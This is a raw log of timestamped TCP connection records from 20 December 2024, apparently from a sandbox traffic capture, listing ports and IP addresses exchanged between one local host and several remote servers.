Dec 20, 2024 04:12:27.754065037 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.754193068 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.755131006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.755191088 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.755234003 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.755382061 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.756253004 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.756309032 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.756350994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.756464958 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.757411003 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.757556915 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.757561922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.757607937 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.758688927 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.758814096 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.758836031 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.758896112 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.759742022 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.759843111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.759869099 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.760032892 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.760921001 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.760988951 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.761039019 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.761105061 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.762046099 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.762121916 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.762206078 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.762258053 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.763238907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.763335943 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.763377905 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.763421059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.764503956 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.764579058 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.764595032 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.764656067 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.765537977 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.765598059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.765603065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.765652895 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.766690016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.766769886 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.766805887 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.766895056 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.767869949 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.767954111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.767981052 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.768141031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.769042015 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.769124031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.769211054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.769299984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.770204067 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.770272017 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.770304918 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.770456076 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.771338940 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.771398067 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.771473885 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.771517038 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.772526979 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.772639036 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.772680998 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.772790909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.773653984 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.773734093 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.773777962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.773857117 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.774794102 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.774858952 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.775125027 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.775202990 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.775976896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.776057005 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.776129007 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.776288033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.777124882 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.777194977 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.777234077 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.777314901 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.778280973 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.778328896 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.778378010 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.778464079 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.779422998 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.779525995 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.779551983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.779608011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.780631065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.780700922 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.780864000 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.780926943 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.782166958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.782233000 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.782274961 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.782341957 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.782928944 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.782985926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.783076048 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.783185959 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.784146070 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.784276962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.784286022 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.784468889 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.785300970 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.785389900 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.785423040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.785471916 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.919399977 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.919414997 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.919478893 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.919478893 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.919563055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.919619083 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.919739008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.919806004 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.920866966 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.920881987 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.920914888 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.920923948 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.921979904 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.922075033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.922148943 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.922197104 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.923319101 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.923382998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.923482895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.923672915 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.924324036 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.924340010 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.924393892 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.924393892 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.925359011 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.925395966 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.925709009 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.925770998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.925780058 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.925796032 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.925827980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.925827980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.925991058 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.926065922 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.926091909 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.926139116 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.929522038 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.929544926 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.929575920 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.929611921 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930586100 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930648088 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930757046 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930820942 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930835962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930851936 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930857897 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930857897 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930867910 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.930871010 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930900097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.930900097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.931742907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.931837082 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.931873083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.931921005 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.932914972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.932956934 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.933034897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.933089018 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.934076071 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.934350967 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.934429884 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.935532093 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.935605049 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.935700893 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.935753107 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.936405897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.936536074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.936634064 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.937582016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.937664986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.937665939 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.937752962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.938750982 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.938822985 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.938843012 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.938886881 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.939903975 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.939970970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.939973116 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.940017939 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.941044092 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.941083908 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.941097021 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.941206932 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.942208052 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.942328930 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.942423105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.943377972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.943428040 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.943460941 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.943506956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.944536924 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.944596052 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.944643974 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.944693089 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.945837021 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.946950912 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.947030067 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.950105906 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950234890 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950251102 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950264931 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950330973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.950330973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.950426102 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950442076 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.950510979 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.952176094 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.952277899 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.952344894 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.952485085 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.953418016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.953433037 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.953496933 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.953496933 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.954469919 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.954485893 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.954551935 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.955832958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.955848932 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.955899954 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.955957890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.956871033 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.957052946 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.957134962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.957928896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.958053112 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.958097935 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.958163023 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.959171057 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.959187984 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.959223986 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.959261894 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.960211992 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.960335016 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.960407019 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.960463047 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.961693048 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.961714983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.961829901 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.962754011 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.962806940 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.962946892 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.963028908 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.963648081 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.963695049 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.963821888 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.963871002 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.964881897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.964936972 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.965068102 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.965120077 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.966144085 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.966320992 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.966372013 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.967246056 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.967338085 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.967423916 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.967540026 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.968477964 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.968527079 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.968838930 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.968883038 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.969532967 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.969585896 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.969718933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.969774961 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.970782042 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.970841885 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.970967054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.971007109 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.971878052 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.971930981 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.972063065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.973119974 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.973191023 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.973288059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.973356009 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.974221945 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.974237919 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.974273920 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.974308014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.975445986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.975461006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.975526094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.976679087 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.976695061 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.976753950 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.976753950 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.977688074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.977884054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.977907896 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.977924109 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.978751898 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.978809118 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.978923082 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.978971004 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:28.632519007 CET	443	49816	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:28.632639885 CET	443	49816	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:28.632755041 CET	49816	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:28.864707947 CET	49816	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:28.864790916 CET	443	49816	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:29.932128906 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:29.932153940 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:29.932749033 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:29.933073997 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:29.933090925 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:29.949371099 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:29.949410915 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:29.949529886 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:29.949937105 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:29.949950933 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:30.373795033 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:30.374130964 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:30.493607044 CET	80	49831	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:30.493675947 CET	80	49807	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:30.493714094 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:30.493741035 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:30.493941069 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:30.613459110 CET	80	49831	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:31.148802996 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.148948908 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.162414074 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:31.162616968 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:31.167160034 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.167171955 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.168025017 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.195197105 CET	49830	443	192.168.2.4	104.21.91.209
